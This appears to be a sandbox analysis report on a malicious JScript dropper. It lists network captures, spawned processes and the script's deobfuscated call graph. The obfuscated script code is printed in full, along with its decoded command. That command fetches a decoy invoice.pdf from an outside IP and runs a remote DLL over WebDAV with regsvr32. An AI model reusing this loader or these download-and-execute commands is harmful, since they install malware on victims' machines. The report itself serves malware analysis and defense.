Jan 10, 2025 21:09:22.360454082 CET	1236	IN	Data Raw: be 39 01 00 00 4c 83 2f 96 00 60 a7 e4 ee c3 e1 37 de 73 b5 22 0c 16 6b 89 05 e5 0b d0 25 e5 71 65 85 2e b3 44 a4 58 bd 4f d5 5c c6 a2 4f a0 b9 b0 4d 5c d5 86 5e df cd 5d d8 2a 9f 26 b9 27 b9 de e6 9e ae 25 de f6 35 6f b9 f0 9a c3 5f b6 83 af e6 Data Ascii: 9L/`7s"k%qe.DXO\OM\^]*&'%5o_&^^O\CS1Cb96tCoN%;_ekZl3<".wU\^]r)5s3~\AV6[E_
Jan 10, 2025 21:09:22.360491037 CET	1236	IN	Data Raw: 7f d2 56 b9 b0 ca 60 14 1a 7d 8b d6 64 ac 87 ba a3 39 17 7d ba fc 73 a5 df 57 97 11 f3 ae ab 79 0e fd db 3e f7 59 b0 fa ab 59 7e f3 17 6e 2c f5 2f 62 f9 75 2c bc 94 a3 af e0 12 f7 b7 ca 3b 6d 78 b3 f5 d7 50 7e 36 a6 fe a7 10 80 2f 56 fd 3f 52 f1 Data Ascii: V`}d9}sWy>YY~n,/bu,;mxP~6/V?RYJmchs`h'Nm--\hc(n7'iLlG?o9ZLAuI}uV'bF%&0$O-TfWS*ysl]ok:5UDsX\|FhI
Jan 10, 2025 21:09:22.360526085 CET	108	IN	Data Raw: a1 87 7e ac 1e 3c 0f 5f c7 dc cf 7e d4 47 ed 42 06 5d e8 4e 7b a1 98 3b ed 12 e3 cf 7c b1 0d 60 a3 d6 90 4c b0 b3 16 38 30 b4 89 a1 8f 4d 0c ed 0f 0c 6d 62 e8 59 1f 43 8f 6e 8f 06 31 b4 db 94 2b 3d b4 4d a2 c1 43 fe 57 19 0b 0d 62 e8 71 17 43 2f Data Ascii: ~<_~GB]N{;\|`L80MmbYCn1+=MCWbqC/tP)k6`\|
Jan 10, 2025 21:09:22.360555887 CET	1236	IN	Data Raw: 00 db e4 6f b0 35 25 34 37 de 95 3b 56 72 f4 cc c1 5c 26 28 cc 6a 15 4a a8 4e 3f 32 07 9a 1a a8 d4 cf b7 ad 37 ad d7 4e fa fb e9 d7 a4 36 aa ab a8 69 43 b9 13 3c 35 df 32 96 a8 54 35 89 ca 3c c3 7e 4c 75 a1 38 a5 af 2a 9c a5 d5 23 b4 35 d5 cc 4c Data Ascii: o5%47;Vr\&(jJN?27N6iC<52T5<~Lu8#5L>8f\^xmI3#^{hudM/eG_\?c0{,?nQGDUBwZ?l+`hC?bC31t_PC={6H=17
Jan 10, 2025 21:09:22.360590935 CET	1236	IN	Data Raw: ff 66 cb 0d 36 9a 81 d0 d1 57 d3 bf a0 92 44 a5 cf ea a7 ae 90 ff 4c 12 0d 6f 2f 35 45 52 5e 4a 51 39 9b 59 58 10 5d 33 16 5d 38 56 55 9f 90 5b b3 0e 5a 9e 0a 62 28 80 2d 58 ad 96 60 87 15 0f 0c fd 34 38 30 b4 89 a1 8f 6d 0c 9d 1f 18 7a 71 7e 77 Data Ascii: f6WDLo/5ER^JQ9YX]3]8VU[Zb(-X`480mzq~wbuC1T@7'il3}\|=8zhc}'Ie???32Uh}CjTy^CRgK6t)BSB%
Jan 10, 2025 21:09:22.365418911 CET	1112	IN	Data Raw: 9b 1b 81 37 1b 8f cd 90 6f ee b7 d6 83 b4 e1 9d d6 1f a8 ba d0 f8 33 31 14 c0 a6 ad 21 99 60 07 d5 1c 18 fa 38 3f 30 f4 a9 3d 30 f4 f1 fa fa e1 ea ea a1 dd 91 db c7 d0 63 15 43 f7 bb 18 1a f4 d0 0f a9 72 0e 1e fb f2 b0 bf 26 8c a1 77 f3 18 7a 99 Data Ascii: 7o31!`8?0=0cCr&wzb<0XM3wTCsc6ZsIifY;r\|MoMUtkpYLIM=3Nad/7ZXkJ>U?HX*%;3s{^aZf\\|C\

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	193.143.1.205	8888	3620	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:09:24.264480114 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 21:09:25.093611956 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 20:09:24 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	15:09:17
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\677073752851910183.js"
Imagebase:	0x7ff6945f0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	15:09:18
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7246175598496.dll
Imagebase:	0x7ff78a7b0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	15:09:18
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	15:09:18
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	15:09:22
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff686a00000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	15:09:23
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff78a7b0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	15:09:23
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff730760000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	15:09:23
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	15:09:23
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	15:09:24
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2112 --field-trial-handle=1756,i,12401072531006071825,1432913878226022289,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function sgemzt() {	sgemzt() ➔ undefined
1	cdfjnsbvl = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var lmlxviu = this[vwlndrzgx + heidd + lcxqxt + mlpge + luvbugvnn + oqmacckf + svoah + giqgs] ( this[lixnqijt + wjikq + pdjmgpm + lcxqxt + gcsauxmva + vwlndrzgx + giqgs][wkoxnxizb + lcxqxt + luvbugvnn + heidd + giqgs + luvbugvnn + hodzpurr + yzecnwwhx + tgektvvhs + luvbugvnn + pdjmgpm + giqgs] ( lixnqijt + wjikq + pdjmgpm + lcxqxt + gcsauxmva + vwlndrzgx + giqgs + dlfzx + wjikq + fczpuu + luvbugvnn + lqbmydvps + lqbmydvps ) [imlrkaimi + luvbugvnn + vpoaov + imlrkaimi + luvbugvnn + heidd + xksqfz] ( zyaroqydh + aqpli + pcktmvthm + bbkej + eeisom + wkoxnxizb + gaocbmgxo + imlrkaimi + imlrkaimi + pcktmvthm + rkfybdoqb + coxvx + eeisom + gaocbmgxo + wjikq + pcktmvthm + imlrkaimi + zurprpae + wkoxnxizb + vsxulzn + svoah + giqgs + lcxqxt + vsxulzn + lqbmydvps + sfkkxsgy + ismyawh + heidd + svoah + luvbugvnn + lqbmydvps + zurprpae + oqmacckf + svoah + giqgs + luvbugvnn + lcxqxt + svoah + heidd + giqgs + gcsauxmva + vsxulzn + svoah + heidd + lqbmydvps + zurprpae + untaqdwoi + vsxulzn + pdjmgpm + heidd + lqbmydvps + luvbugvnn ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( lorxwo = 0 ; lorxwo < cdfjnsbvl[lqbmydvps + luvbugvnn + svoah + vpoaov + giqgs + fczpuu] ; ++ lorxwo )
4	{
5	if ( lmlxviu == cdfjnsbvl[lorxwo] )
6	{
7	lmlxviu = true;
8	break ;
9	}
10	}
11	if ( lmlxviu !== true )
12	this[lixnqijt + wjikq + pdjmgpm + lcxqxt + gcsauxmva + vwlndrzgx + giqgs][pulrym + gllnkfgo + gcsauxmva + giqgs] ( );
13	this[lixnqijt + wjikq + pdjmgpm + lcxqxt + gcsauxmva + vwlndrzgx + giqgs][wkoxnxizb + lcxqxt + luvbugvnn + heidd + giqgs + luvbugvnn + hodzpurr + yzecnwwhx + tgektvvhs + luvbugvnn + pdjmgpm + giqgs] ( lixnqijt + wjikq + pdjmgpm + lcxqxt + gcsauxmva + vwlndrzgx + giqgs + dlfzx + wjikq + fczpuu + luvbugvnn + lqbmydvps + lqbmydvps ) [lcxqxt + gllnkfgo + svoah] ( pdjmgpm + gtzxlz + xksqfz + sfkkxsgy + nzqibdpf + pdjmgpm + sfkkxsgy + vwlndrzgx + vsxulzn + bulsjfuit + luvbugvnn + lcxqxt + mlpge + fczpuu + luvbugvnn + lqbmydvps + lqbmydvps + dlfzx + luvbugvnn + gvgbkfvo + luvbugvnn + sfkkxsgy + tqnlylr + wkoxnxizb + vsxulzn + gtzxlz + gtzxlz + heidd + svoah + xksqfz + sfkkxsgy + vapnbijo + oqmacckf + svoah + cymtikoe + vsxulzn + yzjonwuod + luvbugvnn + tqnlylr + lixnqijt + luvbugvnn + yzecnwwhx + imlrkaimi + luvbugvnn + sjszgaue + gllnkfgo + luvbugvnn + mlpge + giqgs + sfkkxsgy + tqnlylr + hodzpurr + gllnkfgo + giqgs + ofeocoj + gcsauxmva + lqbmydvps + luvbugvnn + sfkkxsgy + vriyywjn + giqgs + luvbugvnn + gtzxlz + vwlndrzgx + vriyywjn + zurprpae + gcsauxmva + svoah + cymtikoe + vsxulzn + gcsauxmva + pdjmgpm + luvbugvnn + dlfzx + vwlndrzgx + xksqfz + antshl + sfkkxsgy + fczpuu + giqgs + giqgs + vwlndrzgx + mzyjcuyoj + nzqibdpf + nzqibdpf + pnjeclky + znswh + tvhuxol + dlfzx + pnjeclky + jkbqo + tvhuxol + dlfzx + pnjeclky + dlfzx + fvxmfqtt + flaewuog + tiugmk + nzqibdpf + gcsauxmva + svoah + cymtikoe + vsxulzn + gcsauxmva + pdjmgpm + luvbugvnn + dlfzx + vwlndrzgx + fczpuu + vwlndrzgx + vapnbijo + qzmsk + qzmsk + mlpge + giqgs + heidd + lcxqxt + giqgs + sfkkxsgy + vriyywjn + giqgs + luvbugvnn + gtzxlz + vwlndrzgx + vriyywjn + zurprpae + gcsauxmva + svoah + cymtikoe + vsxulzn + gcsauxmva + pdjmgpm + luvbugvnn + dlfzx + vwlndrzgx + xksqfz + antshl + qzmsk + qzmsk + pdjmgpm + gtzxlz + xksqfz + sfkkxsgy + nzqibdpf + pdjmgpm + sfkkxsgy + svoah + luvbugvnn + giqgs + sfkkxsgy + gllnkfgo + mlpge + luvbugvnn + sfkkxsgy + zurprpae + zurprpae + pnjeclky + znswh + tvhuxol + dlfzx + pnjeclky + jkbqo + tvhuxol + dlfzx + pnjeclky + dlfzx + fvxmfqtt + flaewuog + tiugmk + wceui + mizmev + mizmev + mizmev + mizmev + zurprpae + xksqfz + heidd + cymtikoe + bulsjfuit + bulsjfuit + bulsjfuit + lcxqxt + vsxulzn + vsxulzn + giqgs + zurprpae + qzmsk + qzmsk + pdjmgpm + gtzxlz + xksqfz + sfkkxsgy + nzqibdpf + pdjmgpm + sfkkxsgy + lcxqxt + luvbugvnn + vpoaov + mlpge + cymtikoe + lcxqxt + tvhuxol + fvxmfqtt + sfkkxsgy + nzqibdpf + mlpge + sfkkxsgy + zurprpae + zurprpae + pnjeclky + znswh + tvhuxol + dlfzx + pnjeclky + jkbqo + tvhuxol + dlfzx + pnjeclky + dlfzx + fvxmfqtt + flaewuog + tiugmk + wceui + mizmev + mizmev + mizmev + mizmev + zurprpae + xksqfz + heidd + cymtikoe + bulsjfuit + bulsjfuit + bulsjfuit + lcxqxt + vsxulzn + vsxulzn + giqgs + zurprpae + fnoplsrgi + fvxmfqtt + jkbqo + wfonndo + pnjeclky + fnoplsrgi + tiugmk + tiugmk + znswh + mizmev + jkbqo + znswh + wfonndo + dlfzx + xksqfz + lqbmydvps + lqbmydvps, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7246175598496.dll",0,false) ➔ 0
14	}
15	mzyjcuyoj = "v";
16	mzyjcuyoj = "Z";
17	mzyjcuyoj = "o";
18	mzyjcuyoj = "l";
19	mzyjcuyoj = "R";
20	mzyjcuyoj = "Q";
21	mzyjcuyoj = "Z";
22	mzyjcuyoj = "g";
23	mzyjcuyoj = "u";
24	mzyjcuyoj = "K";
25	mzyjcuyoj = "h";
26	mzyjcuyoj = "H";
27	mzyjcuyoj = "G";
28	mzyjcuyoj = "V";
29	mzyjcuyoj = "f";
30	mzyjcuyoj = "p";
31	mzyjcuyoj = "w";
32	mzyjcuyoj = "G";
33	mzyjcuyoj = ":";
34	imlrkaimi = "M";
35	imlrkaimi = "I";
36	imlrkaimi = "e";
37	imlrkaimi = "F";
38	imlrkaimi = "w";
39	imlrkaimi = "L";
40	imlrkaimi = "g";
41	imlrkaimi = "K";
42	imlrkaimi = "Z";
43	imlrkaimi = "M";
44	imlrkaimi = "O";
45	imlrkaimi = "e";
46	imlrkaimi = "v";
47	imlrkaimi = "R";
48	hodzpurr = "a";
49	hodzpurr = "P";
50	hodzpurr = "t";
51	hodzpurr = "Z";
52	hodzpurr = "T";
53	hodzpurr = "M";
54	hodzpurr = "S";
55	hodzpurr = "r";
56	hodzpurr = "T";
57	hodzpurr = "C";
58	hodzpurr = "q";
59	hodzpurr = "R";
60	hodzpurr = "c";
61	hodzpurr = "y";
62	hodzpurr = "D";
63	hodzpurr = "O";
64	hodzpurr = "Q";
65	hodzpurr = "Y";
66	hodzpurr = "b";
67	hodzpurr = "v";
68	hodzpurr = "b";
69	hodzpurr = "s";
70	hodzpurr = "L";
71	hodzpurr = "i";
72	hodzpurr = "O";
73	nzqibdpf = "v";
74	nzqibdpf = "B";
75	nzqibdpf = "n";
76	nzqibdpf = "p";
77	nzqibdpf = "T";
78	nzqibdpf = "y";
79	nzqibdpf = "c";
80	nzqibdpf = "C";
81	nzqibdpf = "N";
82	nzqibdpf = "I";
83	nzqibdpf = "M";
84	nzqibdpf = "W";
85	nzqibdpf = "V";
86	nzqibdpf = "B";
87	nzqibdpf = "x";
88	nzqibdpf = "Q";
89	nzqibdpf = "f";
90	nzqibdpf = "g";
91	nzqibdpf = "W";
92	nzqibdpf = "z";
93	nzqibdpf = "Z";
94	nzqibdpf = "e";
95	nzqibdpf = "N";
96	nzqibdpf = "W";
97	nzqibdpf = "x";
98	nzqibdpf = "d";
99	nzqibdpf = "q";
100	nzqibdpf = "J";
101	nzqibdpf = "Y";
102	nzqibdpf = "L";
103	nzqibdpf = "/";
104	cymtikoe = "F";
105	cymtikoe = "D";
106	cymtikoe = "G";
107	cymtikoe = "C";
108	cymtikoe = "Z";
109	cymtikoe = "l";
110	cymtikoe = "d";
111	cymtikoe = "x";
112	cymtikoe = "f";
113	cymtikoe = "G";
114	cymtikoe = "E";
115	cymtikoe = "e";
116	cymtikoe = "r";
117	cymtikoe = "c";
118	cymtikoe = "v";
119	cymtikoe = "d";
120	cymtikoe = "r";
121	cymtikoe = "V";
122	cymtikoe = "p";
123	cymtikoe = "p";
124	cymtikoe = "a";
125	cymtikoe = "E";
126	cymtikoe = "v";
127	mizmev = "c";
128	mizmev = "D";
129	mizmev = "x";
130	mizmev = "L";
131	mizmev = "P";
132	mizmev = "L";
133	mizmev = "i";
134	mizmev = "V";
135	mizmev = "f";
136	mizmev = "s";
137	mizmev = "O";
138	mizmev = "d";
139	mizmev = "J";
140	mizmev = "t";
141	mizmev = "c";
142	mizmev = "h";
143	mizmev = "L";
144	mizmev = "a";
145	mizmev = "N";
146	mizmev = "C";
147	mizmev = "A";
148	mizmev = "F";
149	mizmev = "g";
150	mizmev = "y";
151	mizmev = "r";
152	mizmev = "8";
153	tqnlylr = "i";
154	tqnlylr = "S";
155	tqnlylr = "N";
156	tqnlylr = "F";
157	tqnlylr = "T";
158	tqnlylr = "R";
159	tqnlylr = "n";
160	tqnlylr = "D";
161	tqnlylr = "O";
162	tqnlylr = "a";
163	tqnlylr = "C";
164	tqnlylr = "y";
165	tqnlylr = "U";
166	tqnlylr = "s";
167	tqnlylr = "d";
168	tqnlylr = "O";
169	tqnlylr = "D";
170	tqnlylr = "s";
171	tqnlylr = "r";
172	tqnlylr = "p";
173	tqnlylr = "o";
174	tqnlylr = "T";
175	tqnlylr = "t";
176	tqnlylr = "I";
177	tqnlylr = "b";
178	tqnlylr = "U";
179	tqnlylr = "H";
180	tqnlylr = "S";
181	tqnlylr = "f";
182	tqnlylr = "O";
183	tqnlylr = "M";
184	tqnlylr = "k";
185	tqnlylr = "N";
186	tqnlylr = "p";
187	tqnlylr = "K";
188	tqnlylr = "v";
189	tqnlylr = "H";
190	tqnlylr = "K";
191	tqnlylr = "y";
192	tqnlylr = "R";
193	tqnlylr = "i";
194	tqnlylr = "b";
195	tqnlylr = "q";
196	tqnlylr = "H";
197	tqnlylr = "-";
198	bbkej = "P";
199	bbkej = "x";
200	bbkej = "t";
201	bbkej = "d";
202	bbkej = "r";
203	bbkej = "o";
204	bbkej = "o";
205	bbkej = "X";
206	bbkej = "Q";
207	bbkej = "s";
208	bbkej = "N";
209	bbkej = "o";
210	bbkej = "W";
211	bbkej = "t";
212	bbkej = "q";
213	bbkej = "G";
214	bbkej = "X";
215	bbkej = "I";
216	bbkej = "X";
217	bbkej = "O";
218	bbkej = "N";
219	bbkej = "v";
220	bbkej = "u";
221	bbkej = "E";
222	bbkej = "q";
223	bbkej = "j";
224	bbkej = "W";
225	bbkej = "S";
226	bbkej = "u";
227	bbkej = "P";
228	bbkej = "y";
229	bbkej = "v";
230	bbkej = "B";
231	bbkej = "N";
232	bbkej = "v";
233	bbkej = "Y";
234	oqmacckf = "l";
235	oqmacckf = "D";
236	oqmacckf = "c";
237	oqmacckf = "f";
238	oqmacckf = "C";
239	oqmacckf = "u";
240	oqmacckf = "J";
241	oqmacckf = "E";
242	oqmacckf = "G";
243	oqmacckf = "C";
244	oqmacckf = "o";
245	oqmacckf = "Z";
246	oqmacckf = "o";
247	oqmacckf = "c";
248	oqmacckf = "g";
249	oqmacckf = "E";
250	oqmacckf = "j";
251	oqmacckf = "X";
252	oqmacckf = "Z";
253	oqmacckf = "E";
254	oqmacckf = "d";
255	oqmacckf = "P";
256	oqmacckf = "B";
257	oqmacckf = "C";
258	oqmacckf = "S";
259	oqmacckf = "Z";
260	oqmacckf = "L";
261	oqmacckf = "K";
262	oqmacckf = "h";
263	oqmacckf = "M";
264	oqmacckf = "G";
265	oqmacckf = "N";
266	oqmacckf = "H";
267	oqmacckf = "f";
268	oqmacckf = "V";
269	oqmacckf = "Y";
270	oqmacckf = "W";
271	oqmacckf = "I";
272	vwlndrzgx = "F";
273	vwlndrzgx = "y";
274	vwlndrzgx = "S";
275	vwlndrzgx = "O";
276	vwlndrzgx = "n";
277	vwlndrzgx = "i";
278	vwlndrzgx = "J";
279	vwlndrzgx = "p";
280	dlfzx = "S";
281	dlfzx = "N";
282	dlfzx = "m";
283	dlfzx = "l";
284	dlfzx = "p";
285	dlfzx = "L";
286	dlfzx = "M";
287	dlfzx = "c";
288	dlfzx = "O";
289	dlfzx = "J";
290	dlfzx = "K";
291	dlfzx = "l";
292	dlfzx = "V";
293	dlfzx = "B";
294	dlfzx = "m";
295	dlfzx = "Y";
296	dlfzx = "A";
297	dlfzx = "q";
298	dlfzx = "d";
299	dlfzx = "z";
300	dlfzx = "o";
301	dlfzx = "q";
302	dlfzx = "y";
303	dlfzx = "Z";
304	dlfzx = "o";
305	dlfzx = "s";
306	dlfzx = "u";
307	dlfzx = "T";
308	dlfzx = "n";
309	dlfzx = "U";
310	dlfzx = "Z";
311	dlfzx = "F";
312	dlfzx = "A";
313	dlfzx = "U";
314	dlfzx = "A";
315	dlfzx = "j";
316	dlfzx = "X";
317	dlfzx = "O";
318	dlfzx = "p";
319	dlfzx = "c";
320	dlfzx = ".";
321	lcxqxt = "o";
322	lcxqxt = "r";
323	lcxqxt = "A";
324	lcxqxt = "J";
325	lcxqxt = "l";
326	lcxqxt = "j";
327	lcxqxt = "V";
328	lcxqxt = "v";
329	lcxqxt = "b";
330	lcxqxt = "M";
331	lcxqxt = "R";
332	lcxqxt = "J";
333	lcxqxt = "Q";
334	lcxqxt = "Y";
335	lcxqxt = "r";
336	qzmsk = "E";
337	qzmsk = "S";
338	qzmsk = "w";
339	qzmsk = "x";
340	qzmsk = "v";
341	qzmsk = "W";
342	qzmsk = "Q";
343	qzmsk = "x";
344	qzmsk = "Y";
345	qzmsk = "R";
346	qzmsk = "Q";
347	qzmsk = "h";
348	qzmsk = "H";
349	qzmsk = "f";
350	qzmsk = "C";
351	qzmsk = "G";
352	qzmsk = "G";
353	qzmsk = "Z";
354	qzmsk = "M";
355	qzmsk = "v";
356	qzmsk = "L";
357	qzmsk = "Q";
358	qzmsk = "q";
359	qzmsk = "A";
360	qzmsk = "w";
361	qzmsk = "A";
362	qzmsk = "&";
363	luvbugvnn = "T";
364	luvbugvnn = "Q";
365	luvbugvnn = "R";
366	luvbugvnn = "z";
367	luvbugvnn = "N";
368	luvbugvnn = "i";
369	luvbugvnn = "M";
370	luvbugvnn = "N";
371	luvbugvnn = "z";
372	luvbugvnn = "D";
373	luvbugvnn = "D";
374	luvbugvnn = "V";
375	luvbugvnn = "c";
376	luvbugvnn = "l";
377	luvbugvnn = "P";
378	luvbugvnn = "U";
379	luvbugvnn = "v";
380	luvbugvnn = "Z";
381	luvbugvnn = "S";
382	luvbugvnn = "Z";
383	luvbugvnn = "Y";
384	luvbugvnn = "Q";
385	luvbugvnn = "Y";
386	luvbugvnn = "e";
387	gtzxlz = "K";
388	gtzxlz = "P";
389	gtzxlz = "w";
390	gtzxlz = "R";
391	gtzxlz = "b";
392	gtzxlz = "x";
393	gtzxlz = "g";
394	gtzxlz = "Z";
395	gtzxlz = "t";
396	gtzxlz = "Y";
397	gtzxlz = "K";
398	gtzxlz = "A";
399	gtzxlz = "P";
400	gtzxlz = "O";
401	gtzxlz = "v";
402	gtzxlz = "W";
403	gtzxlz = "o";
404	gtzxlz = "t";
405	gtzxlz = "B";
406	gtzxlz = "P";
407	gtzxlz = "v";
408	gtzxlz = "x";
409	gtzxlz = "t";
410	gtzxlz = "D";
411	gtzxlz = "O";
412	gtzxlz = "F";
413	gtzxlz = "O";
414	gtzxlz = "J";
415	gtzxlz = "H";
416	gtzxlz = "m";
417	coxvx = "p";
418	coxvx = "J";
419	coxvx = "z";
420	coxvx = "o";
421	coxvx = "N";
422	coxvx = "Z";
423	coxvx = "t";
424	coxvx = "J";
425	coxvx = "T";
426	tiugmk = "K";
427	tiugmk = "H";
428	tiugmk = "A";
429	tiugmk = "T";
430	tiugmk = "L";
431	tiugmk = "H";
432	tiugmk = "d";
433	tiugmk = "o";
434	tiugmk = "p";
435	tiugmk = "p";
436	tiugmk = "b";
437	tiugmk = "k";
438	tiugmk = "i";
439	tiugmk = "e";
440	tiugmk = "P";
441	tiugmk = "f";
442	tiugmk = "j";
443	tiugmk = "a";
444	tiugmk = "y";
445	tiugmk = "t";
446	tiugmk = "T";
447	tiugmk = "z";
448	tiugmk = "T";
449	tiugmk = "E";
450	tiugmk = "H";
451	tiugmk = "S";
452	tiugmk = "x";
453	tiugmk = "i";
454	tiugmk = "X";
455	tiugmk = "x";
456	tiugmk = "V";
457	tiugmk = "o";
458	tiugmk = "o";
459	tiugmk = "r";
460	tiugmk = "5";
461	bulsjfuit = "B";
462	bulsjfuit = "p";
463	bulsjfuit = "u";
464	bulsjfuit = "i";
465	bulsjfuit = "C";
466	bulsjfuit = "t";
467	bulsjfuit = "y";
468	bulsjfuit = "e";
469	bulsjfuit = "g";
470	bulsjfuit = "K";
471	bulsjfuit = "v";
472	bulsjfuit = "V";
473	bulsjfuit = "l";
474	bulsjfuit = "R";
475	bulsjfuit = "P";
476	bulsjfuit = "i";
477	bulsjfuit = "z";
478	bulsjfuit = "W";
479	bulsjfuit = "T";
480	bulsjfuit = "b";
481	bulsjfuit = "o";
482	bulsjfuit = "P";
483	bulsjfuit = "f";
484	bulsjfuit = "O";
485	bulsjfuit = "R";
486	bulsjfuit = "L";
487	bulsjfuit = "W";
488	bulsjfuit = "L";
489	bulsjfuit = "i";
490	bulsjfuit = "X";
491	bulsjfuit = "d";
492	bulsjfuit = "w";
493	ofeocoj = "g";
494	ofeocoj = "K";
495	ofeocoj = "l";
496	ofeocoj = "m";
497	ofeocoj = "A";
498	ofeocoj = "a";
499	ofeocoj = "w";
500	ofeocoj = "f";
501	ofeocoj = "R";
502	ofeocoj = "B";
503	ofeocoj = "F";
504	ofeocoj = "S";
505	ofeocoj = "v";
506	ofeocoj = "Y";
507	ofeocoj = "e";
508	ofeocoj = "r";
509	ofeocoj = "F";
510	vapnbijo = "m";
511	vapnbijo = "E";
